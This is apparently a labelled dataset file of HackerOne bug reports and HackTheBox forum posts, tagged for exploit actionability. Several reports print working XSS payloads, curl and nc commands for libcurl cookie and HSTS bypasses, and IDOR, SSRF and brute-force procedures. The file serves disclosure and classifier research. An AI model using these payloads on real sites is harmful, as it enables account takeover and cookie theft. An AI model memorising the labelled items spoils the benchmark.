-{"id": "30e644a9bf25f0b3675d", "text": "[Uncontrolled Resource Consumption] Potential DoS vulnerability in Django in multipart parser\n\nIn Django 3.2.x before 3.2.18, 4.0.x before 4.0.10 and 4.1.x before 4.1.7, the multipart request parser was subject to a Denial of Service attack. The multipart request parser processes the request body on endpoints with a form and any other POST endpoints as well. The parser was processing an unlimited number of empty/file multipart-parts. For each file part a new temporary file was opened and kept open for the entire duration of the request. The parsing and tracking of an unbound number of parts/files can lead to too many files being open and memory exhaustion.\n\nSide note: The DoS vectors are not unique to the multipart request parser in Django. Many other large vendors (other programming languages/frameworks/applications) were notified about the DoS vectors as well and an embargo date was set for the coordinated disclosure.\n\nThe Django maintainers took part in a coordinated disclosure of the DoS vulnerability with many other large vendors. This required scheduling a dedicated release for the fixes in Django.\nThe Django maintainers shared their patch with me well in advance for validation and refined it based on feedback.\n\n## Impact\n\nToo many open files can stop other requests from opening files e.g. for rendering templates.\nHigh memory usage can lead to the application getting OOM killed.\nWhen the application gets OOM killed, all the open files are left behind, which in turn can lead to exhaustion of disk space/inodes.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-03-20", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "17477557fc9cf66cb8f5", "text": "[Information Disclosure] CUI Labelled document out in the open\n\nHi DoD VDP, \n\nI have found a document and each page of it is marked CUI : \"Controlled Unclassified Information\".\nAccording to your standards, this file shouldn't be publicly available on internet.\n\nThis document was last edited on █████████ 2021. \nMy investigation leads me to think it could have been public since around █████████.\n\nThis presentation contains information that could be sensitive : \n-███████ \n-██████\n\nThe file can be found here : https://█████\n\nThank you and best wishes for 2022!\n\n## References\nhttps://www.dodcui.mil/Portals/109/Documents/Desktop%20Aid%20Docs/CUI%20Training%20Aids_Oct%2023%202020.pdf\n\n## Impact\n\nInformation that should be controlled is now publicly accessible.\n\n## System Host(s)\n██████████\n\n## Affected Product(s) and Version(s)\nhttps://███████\n\n## CVE Numbers\n\n\n## Steps to Reproduce\n1. Visit : https://███\n2. Download the file.\n3. Open the file.\n4. Notice each page is labelled as \"CUI\" (bottom of each page).\n5. See that document contains sensitive information.\n\n## Suggested Mitigation/Remediation Actions\n-Remove the document from public internet.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-02-14", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "0f53021ee6405d0f3c6f", "text": "@minTwin I recommend using the Visual Studio IDE(community), as for the libraries you wont need something too complex. The steps were all explained, you need to make a loop that sends something and until that something is found it will keep running. I also recommend having some “Console.Writeline” so that you’ll see how many attempts were made as well as knowing which string was the correct one", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-11-03", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "bbae4dcb4742692ae4cb", "text": "[Unknown] Browser is not following proper flow for redirection cause open redirect\n\n## Summary:\n\nBrave browser is not following proper flow for redirection. Browser is directly redirecting to the site that is present in redirect parameter without confirming from the main site server.\nI have found this vulnerability and this is affecting Facebook. Facebook use ```l.facebook.com/l.php?u=<redirect_site>``` for redirection and when server gets the request it check whether the redirect_site is in the list of there malicious(linkshim) list or not. If not then Facebook redirect  it properly.\nBut when we try to go to a site like https://l.facebook.com/l.php?u=https://test.facebook-whitehat.com/ then brave browser is directly requesting to https://test.facebook-whitehat.com/ (a domain resticted by facebook which can be used for testing prepose) without asking Facebook server  whether should I redirect or not. But other browser are properly following the flow. \n\n## Products affected: \n\n Windows 11, Version 1.38.119 Chromium: 101.0.4951.67 (Official Build) (64-bit)\n\n## Steps To Reproduce:\n\n1. Open brave browser in windows\n2.  Intercept the requests\n3. Go to ```https://l.facebook.com/l.php?u=https://test.facebook-whitehat.com/``` and you will notice that it directly generating a request ```https://test.facebook-whitehat.com/``` not to ```l.facebook.com```\n\n## Supporting Material/References:\n\n I also soon how other browser is responding and how brave is responder. POC video attached\n\n## Impact\n\nBrave has seen a massive growth in 2021 quarter and Facebook is the one of the largest used social media.\nDue to this vulnerability users that are using Brave browser are directly affected which will affect brave reputation as only brave browser users are getting affect.\nAs well  this vulnerability in brave browser is affecting facebook's security also.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-06-30", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "a40bb50994ac013cb14e", "text": "[Deserialization of Untrusted Data] Unexpected deserialization in Kredis\n\nUnexpected classes may be deserialized because `JSON.load` is used to cast json in [Kredis](https://github.com/rails/kredis).\n\nhttps://github.com/rails/kredis/blob/v1.3.0/lib/kredis/type/json.rb\n\n```ruby\nmodule Kredis\n  module Type\n    class Json < ActiveModel::Type::Value\n      def type\n        :json\n      end\n\n      def cast_value(value)\n        JSON.load(value)\n      end\n```      \n\n### PoC\n\nprepare kredis with rails\n\n```\n❯ rails new rails_server -G -M -O -C -A -J -T\n# Rails 7.0.4 install\n\n❯ cd rails_server\n\n# Edit Gemfile to uncomment `gem \"kredis\"` \n❯ bundle install\n# kredis 1.3.0 install\n\n❯ rails kredis:install\n```\n\n```ruby\n❯ bundle exec rails c\nLoading development environment (Rails 7.0.4)\nirb(main):001:0> abc = 'abc'.to_json_raw_object\n=> {\"json_class\"=>\"String\", \"raw\"=>[97, 98, 99]}\n\nirb(main):002:0> json = Kredis.json \"json_load\"\n=>\n#<Kredis::Types::Scalar:0x00000001099ea250\n...\n\nirb(main):003:0> json.value = abc\n=> {\"json_class\"=>\"String\", \"raw\"=>[97, 98, 99]}\n\nirb(main):004:0> json.value\n=> \"abc\"\n```\n\nThe return value of `json.value` should be a hash object, but it is deserialized as a string object.\n\n```ruby\nirb(main):005:0> json.value = /test/\n=> /test/\n\nirb(main):006:0> json.value\n=> \"(?-mix:test)\"\n\nirb(main):007:0> json.value = /test/.as_json\n=> \"(?-mix:test)\"\n\nirb(main):008:0> json.value\n=> \"(?-mix:test)\"\n\nirb(main):009:0> require 'json/add/core'\n=> true\n\nirb(main):010:0> json.value = /test/.as_json\n=> {\"json_class\"=>\"Regexp\", \"o\"=>0, \"s\"=>\"test\"}\n\nirb(main):011:0> json.value\n=> /test/\n```\n\nIf [json/add/core](https://github.com/flori/json/tree/master/lib/json/add)  is loaded, classes such as regular expressions can also be deserialized.\n\n## Impact\n\nIf a hash is passed to `Kredis.json` by user input, reading the value may cause unexpected problems.\n\nThe only deserializable classes are those with `self.json_create` declared, usually String class are possible.(https://github.com/flori/json/blob/v2.6.2/lib/json/pure/generator.rb#L434)\n\n\nIf `json/add/core` is loaded, it is possible to deserialize RegExp, etc., thus risking ReDoS, etc.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-08-16", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "063112e31459601e4f5e", "text": "[Unknown] [CPP]: Add query for CWE-805: Buffer Access with Incorrect Length Value using some functions\n\nThis bug was reported directly to GitHub Security Lab.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-06-13", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "23734d9106e1e5685428", "text": "[Business Logic Errors] [Bypass] Ability to invite a new member in  sandbox Organization\n\n**Summary:**\nAble to bypass the restriction set in Organization sandbox (automatically created when you created sandbox program) to send an invite to another security researcher.\n\n**Description:**\nIn the default UI of (sandbox)Hackerone Organization, inviting another security researcher is restricted ex.: https://hackerone.com/organizations/hackycorp_demo/users/invite . \nThere is a grayed message:\n*You have reached the maximum number of team member invitations for this program. Please contact support@hackerone.com if you need to lift the rate limit.*\n\nBut using this  endpoint i found in https://hackerone.com/assets/static/js/30.8f8e2bc5.chunk.js https://hackerone.com/organizations/hackycorp_demo/users/new_invite ==I can send an invite to anyone.==\n\n\n\n### Steps To Reproduce\nDemo Organization: hackycorp_demo\nTest User : 0620  \nInvited using: 0620@wearehackerone.com\nReal email address: ████\n\n1. Open this URLhttps://hackerone.com/organizations/hackycorp_demo/users/new_invite\n2. Type the email address of another security researcher\n3. Please see attached video for the demo:\n████\n\n## Impact\n\nBypass the restriction in the sandbox currently configured to send an invite to ane security researcher.\n\nSimilar to the report https://hackerone.com/reports/1088966 but on the Organization level.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-04-14", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "3e040cb62cffcb785504", "text": "[Cross-site Scripting (XSS) - DOM] [CVE-2023-23913] DOM Based Cross-site Scripting in rails-ujs for contenteditable HTML Elements\n\n# Summary\nOriginal report: https://hackerone.com/reports/1767802\n\n## Impact\n\nIf the specified malicious HTML clipboard content is provided to a `contenteditable` element, this could result in the arbitrary execution of javascript on the origin in question.", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2023-23913"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-09-07", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "f032807b7a066250056e", "text": "[Cross-site Scripting (XSS) - Stored] Stored XSS in Question edit from product name\n\nHi @judgeme!\n\nStep to reproduce:\n\n1. Log in to your shopify account and create product with name `\">&#60;img src=x onerror=prompt(&#100;&#111;&#99;&#117;&#109;&#101;&#110;&#116;&#46;&#100;&#111;&#109;&#97;&#105;&#110;)>`\n2. Go to our store and write question to our product with name `\">&#60;img src=x onerror=prompt(&#100;&#111;&#99;&#117;&#109;&#101;&#110;&#116;&#46;&#100;&#111;&#109;&#97;&#105;&#110;)>`\n3. Then go to Shopify admin/Judge.me Product Reviews/Questions and edit question. XSS triage\n\n{F1533755}\n\n\nPOC video:\n\n{F1533757}\n\n## Impact\n\nCookie stealer", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-03-31", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "5d41cbd05e2ed3a36644", "text": "This is a good advice, also make sure to use the -u flag, to test every username for every for every password row instead of the other way around.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-04-08", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "5a213409f53445862b60", "text": "Hello! Have you found anything else ? I stopped working on the project and I don’t have the script rn.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-11-11", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "24e9954fac5af171c5c0", "text": "[Improper Input Validation] Operation CreateOrUpdateSo5LineupMutation does not restrict multiple captains\n\n## Summary:\nBy tampering with the POST request to the endpoint CreateOrUpdateSo5LineupMutation while editing a team you can change all football players to have the captain attribute to 'true'.  This goes against the UI enforced logic of having only one captain per team, as this attribute gives the football player a 50% score bonus disrupting game logic. \n\n## Steps To Reproduce:\n  1. Go to https://sorare.com/football\n  2. Edit a team you own.\n  3. Press \"Confirm\" button.\n  4. Intercept the request made to /federation/graphql with the \"operationName\":\"CreateOrUpdateSo5LineupMutation\"\n{F2493465}\n  5. Change all the players attribute \"captain\":true\n\n## Result:\nConfirmed team of all captains:\n{F2493464}\n\n## Impact\n\nAn attacker could get an unfair advantage vs other users that are following the expected game logic, since the API does not check for multiple captains.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-08-01", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "9c06c885441b630fd227", "text": "[Cleartext Transmission of Sensitive Information] CVE-2022-43551: Another HSTS bypass via IDN\n\nOriginal Report:https://hackerone.com/reports/1755083\n\n## Impact\n\nHSTS bypass.", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2022-43551"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-02-03", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "8354d087e93e8b1d2769", "text": "[Cross-site Scripting (XSS) - Reflected] Reflected XSS in ██████████\n\n**Description:**\nXSS vulnerability found on one of `█████` subdomains. [ DoD scope]\n\nAfter analyzing `https://███████/` (██████) I found  `path/user/NextRequestAccount.action` page that have `militarybranch` parameter in `GET` request.  `militarybranch` parameter vulnerable to XSS vulnerability.\n\n\n`https://████/` requires a valid user to access the contents, but the registration page is accessible to all visitors without any restrictions or credentials.\n█████████\n\nUser should select `Military Branch` in registration page and there is reflection point! \nModifying `militarybranch` parameter in request and set payload on it, you'll receive `XSS Success!` alert box.\n\n\nPayload:\n`https://█████████/path/user/NextRequestAccount.action?militarybranch=███████%3CHTMl%0Aonmouseover%0A=%0Aalert(%27XSSSuccess!%27)%0Dx//&firstName=0xd3adc0de&middleName=0xd3adc0de&lastName=0xd3adc0de&email=0xd3adc0de&title=0xd3adc0de&department=&organization=&ship=0xd3adc0de&orgid=&location=`\n████████\n\n## References\nhttps://owasp.org/www-community/attacks/xss/\n\n## Impact\n\nBy exploiting this vulnerability an attacker can trick the users to execute XSS and steal user's cookies.\nLaunch advanced phishing attacks.\nExecute browser-based attacks etc.\n\n## System Host(s)\n█████████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\n* Visit the following URL \n`https://█████████/path/user/NextRequestAccount.action?militarybranch=█████%3CHTMl%0Aonmouseover%0A=%0Aalert(%27XSSSuccess!%27)%0Dx//&firstName=0xd3adc0de&middleName=0xd3adc0de&lastName=0xd3adc0de&email=0xd3adc0de&title=0xd3adc0de&department=&organization=&ship=0xd3adc0de&orgid=&location=` you will receive `XSS Success!` alert box.\n\n## Suggested Mitigation/Remediation Actions", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-03-24", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "7b5852f53450c1109359", "text": "If you were able to get flag4 use that shell to upgrade to an interactive shell as others mentioned. Or use “Meterpreter”, and look for other local exploits provided by “msf”.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-02-06", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "fd7cc52a6b3535b251b7", "text": "that’s still a bruteforce unless you did it without using the script but even entering them 1 by one is just manual bruteforce?", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-07-04", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "bbf79d69f75ecb80dc33", "text": "[Uncontrolled Resource Consumption] No password length limit when creating a user as an administrator\n\nHi, when I try to set the password while creating an account I noticed that you haven't kept any password limit.\n\nYou need to decrease password length: There are two reasons for limiting the password size. For one, hashing a large amount of data can cause significant resource consumption on behalf of the server and would be an easy target for a Denial Of Service attack.\n\nNormally all sites have a password minimum to maximum lengths like 72 characters limit or 48 limits to prevent Denial Of Service attack. in my SQL but in the website registration page, there are no limitations. Let me know if you need any more details.\n\n\nThis is typically not DoS, but a vulnerability that may lead to a DoS attack.\nThe password I tried is:\n\nAa@T1234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-12-31", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "6631e24cfee9aa0db866", "text": "[Improper Restriction of Authentication Attempts] Brute force of a current password on a disable 2fa leads to guess password and disable 2fa.\n\nSummary:\nThis Attack happen when victim login in other device and forget to logout ,Then attacker can enable 2-factor authentication by brute fore the password of victim endpoints.\n\n## Steps To Reproduce:\n(1)Login in https://dashboard.omise.co/signin\n(2) Click on your username\n(3)Navigate to Two-factor authentication --> Disable 2FA\n(4)add random password in Please confirm your identity to register a new Two-Factor Authenticator\n(5)Capture the request and send it for fuzz\n\n\nPOC\nIn screenshot you can see change in length of content when request encounter right password.\n\n## Impact\n\nAttacker can disable 2fa and brute force currrent password.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-07-07", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "a6df989a6374dc012141", "text": "Can someone help with Bypassing Authentication please? I tried hydra (but I can’t get around redirect) and a lot of SQL injection techniques, nothing is working UPDATE: I actually managed to do this with a popular mapping tool…", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-06-25", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "ce1987c117e875a87e1a", "text": "[Improper Authentication - Generic] Account takeover leading to PII chained with stored XSS\n\n## \nI have found a vulnerability on https://vehiclestdb.fas.gsa.gov/ for account takeovers\nThe website is not using proper authentication to claim the user signing in is actually the account owner due to only requiring an email address to sign in and no password. This leads to an attacker being able to place a stored XSS payload within the victims profile and reveals PII including phone numbers of the victim. \n\n## Steps To Reproduce:\n[add details for how we can reproduce the issue]\n\n  1. Visit https://vehiclestdb.fas.gsa.gov/\n  2. Enter  email address in the signing form itsdavenn@gmail.com (or for official account use tesg@gsa.gov)\n  3. You have now signed in as a users account you do not own and if you browse to the profile you can see PII in the form of phone numbers.\n4. We can do this with any registered user\n5. You can place an XSS stored payload on the users profile in the first name field using ant\" autofocus onfocus=prompt(1) x=\" \n\n## Supporting Material/References:\n[list any additional material (e.g. screenshots, logs, etc.)]\n\n  * [attachment / reference]\nPlease re create these steps to see the impact\n\n## Impact\n\nAn attacker can takeover any users account from just knowing the email address, from here on in they can find PII in the form of phone numbers and place stored XSS on the users profile to execute JavaScript code on the users profile.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-04-16", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "0e0c4aa8108abc09a485", "text": "[Information Exposure Through Sent Data] CVE-2023-46218: cookie mixed case PSL bypass\n\n## Summary:\nlibcurl fails to normalize the `hostname` and `cookie_domain` parameters passed to `psl_is_cookie_domain_acceptable` function. As a result a malicious site can set a super cookie if the victim requests the url with hostname with any upper case characters in the domain part of the hostname.\n\nlibpsl `psl_is_cookie_domain_acceptable` documentation  https://rockdaboot.github.io/libpsl/libpsl-Public-Suffix-List-functions.html#psl-is-cookie-domain-acceptable says the following:\n```\nUse helper function psl_str_to_utf8lower() for normalization of hostname and cookie_domain .\n```\nThis is not done correctly and hence domains with uppercase characters will bypass the PSL check. Note that curl itself will later ignore the cookie domain capitalization and will match even lowercase hostname with the stored supercookie's mixed case domain.\n\nIt's also worth noting that the request `Host` header will reveal the mixed case used, which will allow the attacker to prepare the correct `Set-Cookie` domain for the attack.\n\n## Steps To Reproduce:\n  1. `echo -ne \"HTTP/1.1 200 OK\\r\\nSet-Cookie: super=oops; domain=co.UK\\r\\nContent-Length: 0\\r\\n\" | nc -v -l -q 1 -p 8888`\n  2. `curl -v -c c.txt --resolve test.co.uk:8888:testserverip http://test.co.UK:8888`\n  3.  `nc -v -l -p 7777`\n  4. `curl -v -b c.txt --resolve other.co.uk:7777:testserverip http://other.co.uk:7777`\n\nNote that the `super` cookie is sent to the `other.com.uk` site. In fact it will be sent to any `.co.uk` hosts now.\n\nThe generated cookie file:\n```\n# Netscape HTTP Cookie File\n# https://curl.se/docs/http-cookies.html\n# This file was generated by libcurl! Edit at your own risk.\n\n.co.UK\tTRUE\t/\tFALSE\t0\tsuper\toops\n```\n\n## Impact\n\nBypassing supercookie protection.", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2023-46218"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-12-06", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "bce16ee2e64c8ea070eb", "text": "[Insecure Direct Object Reference (IDOR)] IDOR in \"external status check\" API leaks data about any status check on the instance\n\n### Summary\n\nThe API endpoint for returning approval from an `external status check` contains an IDOR that lets a user list information about all `external status checks` on the GitLab instance. The feature is an `Ultimate` feature, but can be accessed by starting an `Ultimate` trial on GitLab.com. So the attack is possible with a regular account.\n\nWhen an `external status check` is configured, the project will send out information about MRs to a specified endpoint. This endpoint can then be configured to answer to the request to \"pass\" the status check. Description of the feature [here](https://docs.gitlab.com/ee/user/project/merge_requests/status_checks.html). The API endpoint for this answer is ([info](https://docs.gitlab.com/ee/api/status_checks.html#set-status-of-an-external-status-check))\n```\nPOST /projects/:id/merge_requests/:merge_request_iid/status_check_responses\n```\nwith the passed in parameters `sha` and `external_status_check_id`. It is the later one that contains the IDOR. This parameter tells GitLab which `external status check` the request is targeting. And the answer back from GitLab is JSON containing info about the MR but also info about the status check configuration. By altering the ID sent, a user can obtain info about any status check on the instance (even from Private projects).\n\nLeaked information about a status check could look like the example below and could contain:\n\n* Private project name and ID\n* Name of status check\n* Private address to external status check tool\n* Name and ID of protected branch connected to the status check\n* Access rules to protected branch, if configured also name of user that is allowed to access\n\n```\n\"external_status_check\": {\n    \"id\": 10,\n    \"name\": \"Name of status check\",\n    \"project_id\": 33,\n    \"external_url\": \"https://victim.service.com\",\n    \"protected_branches\": [\n      {\n        \"id\": 24,\n        \"name\": \"Name of protected branch\",\n        \"push_access_levels\": [\n          {\n            \"access_level\": 40,\n            \"access_level_description\": \"Name of user with access to protected branch\",\n            \"user_id\": 2,\n            \"group_id\": null\n          },\n          {\n            \"access_level\": 30,\n            \"access_level_description\": \"Developers + Maintainers\",\n            \"user_id\": null,\n            \"group_id\": null\n          }\n        ],\n        \"merge_access_levels\": [\n          {\n            \"access_level\": 30,\n            \"access_level_description\": \"Developers + Maintainers\",\n            \"user_id\": null,\n            \"group_id\": null\n          },\n          {\n            \"access_level\": 40,\n            \"access_level_description\": \"Name of user with access\",\n            \"user_id\": 2,\n            \"group_id\": null\n          }\n        ],\n        \"allow_force_push\": true,\n        \"unprotect_access_levels\": [],\n        \"code_owner_approval_required\": true\n      }\n```\n\n### Steps to reproduce\n\n1. Create two users `victim01` and `attacker01`\n2. Log in as `victim01` and create a new PRIVATE project called `victim_project` at https://gitlab.domain.com/projects/new#blank_project\n3. Go to go to project settings https://gitlab.domain.com/victim01/victim_project/edit and expand \"Merge request\" under \"General\". Scroll down to \"Status checks\" and click create new.\n4. Name the status check \"Victim status check\" and enter a API endpoint \"https://victim.hidden.com\"\n5. Click save\n6. Log out and log back in as `attacker01`\n7. Go through step 2 to 5 again but name the project `attacker_project` and the status check anything. Take a note of the ID of the project. We will call it `attackID`\n8. Now create a new branch in `attacker_project` at https://gitlab.domain.com/attacker01/attacker_project/-/branches/new\n9. Click \"Create new merge request\" when the branch is created. Name the MR anything and click create\n10. Go to https://gitlab.domain.com/-/profile/personal_access_tokens and create an access token for `attacker01`, we will call it `TOK", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-02-22", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "c46b32058a9c6f7f12b0", "text": "[Cross-site Scripting (XSS) - Reflected] Reflected XSS online-store-git.shopifycloud.com\n\n## Summary:\nHello, I hope you are having a good day!,\n\nThere is a feature called \"Shopify Github Integration\", it helps to associate a GitHub account to a Shopify  store. In the Github connection proccess there is a URL [https://online-store-git.shopifycloud.com](https://online-store-git.shopifycloud.com) which is vulnerable to XXS reflected.\n\n## Shops Used to Test:\n- devpresent.myshopify.com\n\n## Relevant Request IDs:\n- x-request-id: 1cdb077b2d319acccd1237c1142cf89b\n\n## Steps To Reproduce:\n1. Visit the next [URL](https://online-store-git.shopifycloud.com/github/setup?installation_id=20913869%7d%7d%7d%29%3b%7d%3balert%281337%29%3bif%281==2%29%7bk=new%20Promise%28function%28%29%7bif%281==2%29%7bv=%7be:%201&setup_action=install)\n```https://online-store-git.shopifycloud.com/github/setup?installation_id=20913869%7d%7d%7d%29%3b%7d%3balert%281337%29%3bif%281==2%29%7bk=new%20Promise%28function%28%29%7bif%281==2%29%7bv=%7be:%201&setup_action=install```\n2. Enter an owner or staff credentials.\n3. The XSS will fire.\n\n## Supporting Material:\n- xss.png\n- poc.mp4\n\n## Impact\n\nThere are several impacts.\n\n- The attacker could use Javascript in order to do phishing attacks.\n- Steal data.\n- Reflected JS\n\nMay you be well,\n-Misa", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-01-20", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "8af801b1adceb19164cd", "text": "[Server-Side Request Forgery (SSRF)] Blind SSRF to internal services in matrix preview_link API\n\n## Summary:\nReddit' new chat is based on Matrix software which has preview_link functionality which doesn't filter the URL before sending the request\n\n## Impact:\nAttacker can enumerate services by grabbing og:title and port scanning, also possible RCE escalation (Asking for permission on this one)\n\n## Steps To Reproduce:\n\n\n  1. Visit the https://matrix.redditspace.com/_matrix/media/r0/preview_url/?url=*\n  2. Replace * with http://██████ to get og:title ███████\n  3. Replace * with http://█████████ to get og:title ███████\n 4. Replace * with http://██████████to get og:title ██████\n 5. Replace * with ████████ to get og:title █████████\n\nNote: If the request is stuck and not responding in 2 seconds reload the page until it does\n\n## Permit for escalation attempt? \nSince the ███ URL is accessible it may be possible to run ███:\nGET █████████\n\nThere are also possibilities to test ██████, but I thought that it would be incorrect to do such activity without permission and as such report vulnerability in this state. I also therefore request a permission to try to escalate this to Critical\n\n## Impact\n\nAttacker can enumerate services and launch attacks against them", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-04-26", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "9baada4b63cebedfce8d", "text": "Hello @r0m4d , no haven’t had any luck with the last exercise. I used the rockyou-30 on g.potter. Used hydra on the victim machine, as well as remote from my attack box. But it didn’t work…", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-01-15", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "08954ddb6d8f82bb4fb8", "text": "[Cleartext Transmission of Sensitive Information] CVE-2022-42916: HSTS bypass via IDN\n\n## Summary:\nHSTS checks are bypassed if any character in the IDN convert(Nameprep) to a '.'\nfor example\"。\"(UTF-8:E38082).\nI think there are other characters that become \".(UTF-8:2E)\" as a result of converting with IDN.\n\n'。(UTF-8:E38082)' is converted to '.' so it doesn't matter if it's last or not.\nSo the same thing happens with \"http://accounts.google.com。\" as well as \"http://accounts.google。com\".\n\n## Steps To Reproduce:\n`curl -v --hsts hsts.txt http://accounts.google.com。`\nI prepared \"test.sh\" because I was worried about whether I could try it in an environment without Japanese fonts. The character encoding is UTF-8.\n\nhsts:txt:\n```\n# Your HSTS cache. https://curl.se/docs/hsts.html\n# This file was generated by libcurl! Edit at your own risk.\n.accounts.google.com \"20231011 14:44:21\"\n```\n\nThe results of the execution are shown below.\n\nIDN When not converting:\n```\n# curl -v --hsts hsts.txt http://accounts.google.com\n* Switched from HTTP to HTTPS due to HSTS => https://accounts.google.com/\n*   Trying 142.250.196.141:443...\n* Connected to 